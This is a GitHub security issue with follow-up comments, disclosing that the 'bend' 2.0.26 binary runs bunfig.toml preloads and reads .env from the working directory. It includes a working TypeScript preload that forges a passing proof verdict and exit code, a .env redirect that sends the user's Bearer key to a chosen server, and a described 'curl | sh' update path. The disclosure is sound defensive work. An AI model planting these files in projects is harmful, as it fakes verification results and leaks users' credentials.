Skip to content

The released bend binary runs bunfig.toml preload from the working directory, so checking a project can run its code and fake the verdict #1018

Closed

Description

@jasisz

What I did

The release archive's bin/bend is a Bun standalone executable (bend-2.0.26-darwin-arm64.tar.gz, sha256 a340f4f0… as in flake.nix; Bun v1.4.0). With the default build options, a Bun executable loads bunfig.toml from the current directory at startup and runs its preload scripts before bend's own code. The Homebrew formula and the Nix flake install the same archive.

A directory with a false law:

LAWS.bend

import Base

law false_law:
  {1n == 0n : Nat}

PROOF.bend

import Base
import ./LAWS.bend as Laws

def Laws.false_law():
  {==}

and two more files the project can ship next to them:

bunfig.toml

preload = ["./.p.ts"]

.p.ts

const fs = require("fs");
const ws = fs.writeSync;
fs.writeSync = (fd: number, s: any, ...r: any[]) => fd === 2 ? 0 : ws(fd, s, ...r);
const exit = process.exit.bind(process);
(process as any).exit = (c?: number) => {
  if (c || process.exitCode) { ws(1, "All terms check.\n"); process.exitCode = 0; }
  exit(0);
};

What happened

Without bunfig.toml:

$ bend PROOF.bend
Error:
- expected : 1n
- observed : 0n
...
$ echo $?
1

With it, in the same directory:

$ bend PROOF.bend
All terms check.
$ echo $?
0

bend PROOF.bend --check-only behaves the same way. A preload that only writes a marker file shows that it runs for any file passed to bend, including a plain main.bend. The script is ordinary TypeScript with full access to the machine.

The same autoloading also reads .env (see the comment on #1005: a project can point BEND_LIB at unverified copies of hub packages). The released binary does this too: the .env repro from #1005 prints All terms check. with it.

Why it matters

  • The verdict can be forged. In the LAWS/PROOF workflow, the side that writes PROOF.bend can also add bunfig.toml and a hidden script, and bend PROOF.bend then reports success and exits 0 for any laws. CI that runs bend PROOF.bend in the checked-out tree is affected in the same way.
  • Checking runs the project's code. Running bend on a project you do not trust (to check it, not to run it) executes arbitrary code from that project with the user's permissions. Nothing in Bend itself does this: the checker never runs IO, so users have no reason to expect it.

Expected behavior

bend should not read Bun configuration from the directory it is run in. Bun has build flags for this: bun build --compile --no-compile-autoload-bunfig --no-compile-autoload-dotenv (and, for completeness, --no-compile-autoload-package-json --no-compile-autoload-tsconfig), or the matching autoloadBunfig: false / autoloadDotenv: false in Bun.build's compile options. The build lives in release.ts in the bend-lang.com repo, so I could not test the fixed binary myself.

Running bun bend2/main.ts from a checkout has the same problem with bunfig.toml and .env in the working directory. That is less common for users, but the guide or README could mention it.

Version

bend 2.0.26 (release archive bend-2.0.26-darwin-arm64.tar.gz)
Bun v1.4.0 (embedded)
Darwin arm64

Activity

  1. jasisz commented on Sep 23, 2026

    @jasisz
    ContributorAuthor

    More effects of the .env autoloading on the released binary. Each one needs only a .env in the project, with no bunfig.toml and no script, so --no-compile-autoload-dotenv matters on its own and not just alongside --no-compile-autoload-bunfig.

    1. The Bender key is sent to a server the project chooses. hub_ask sends Authorization: Bearer <key from ~/.bend/bender.json> to BEND_HUB (main.ts#L535-L538), and BEND_HUB can come from .env. I tested this offline, with a fake key in a scratch HOME and a local server that logs request headers:

    $ cat .env
    BEND_HUB=http://127.0.0.1:63265
    $ bend lib.bend --publish [email protected]
    Error: http://127.0.0.1:63265/publish-check?name=some-package-x&version=1.0.0.0 answered: nope
    

    The server's log:

    GET /publish-check auth=Bearer FAKE-KEY-123
    

    So publishing from a directory you did not create hands your key to whoever wrote its .env. bend link goes through hub_ask too.

    2. bend update runs a script the project chooses. cli_update prints curl -fsSL $ORIGIN/install.sh | sh and runs it immediately, and BEND_ORIGIN can come from .env. I found this by reading the code and did not run it.

    3. A hash check on load would not cover named imports. In my comment on #1005 I suggested checking cached packages against their hash on every load. That works for 0x…/ imports but not for name@version/ ones: name_hash keeps the name → hash mapping in BEND_LIB/names/, which is under the same BEND_LIB. A project that sets BEND_LIB can therefore supply both the mapping and a package that matches it. I checked this on the released binary: a LAWS.bend that imports [email protected]/lib.bend, with the mapping and the package under a .cache/ named in .env, gives All terms check. for a false law. For named imports, only turning off .env loading helps.

  2. Lorenzobattistela commented on Sep 23, 2026

    @Lorenzobattistela
    Collaborator

    Thanks for the detailed report.

  3. added
    bug
    on Sep 23, 2026
  4. Lorenzobattistela commented on Sep 23, 2026

    @Lorenzobattistela
    Collaborator

    Fixed in v2.0.27

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

bug

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions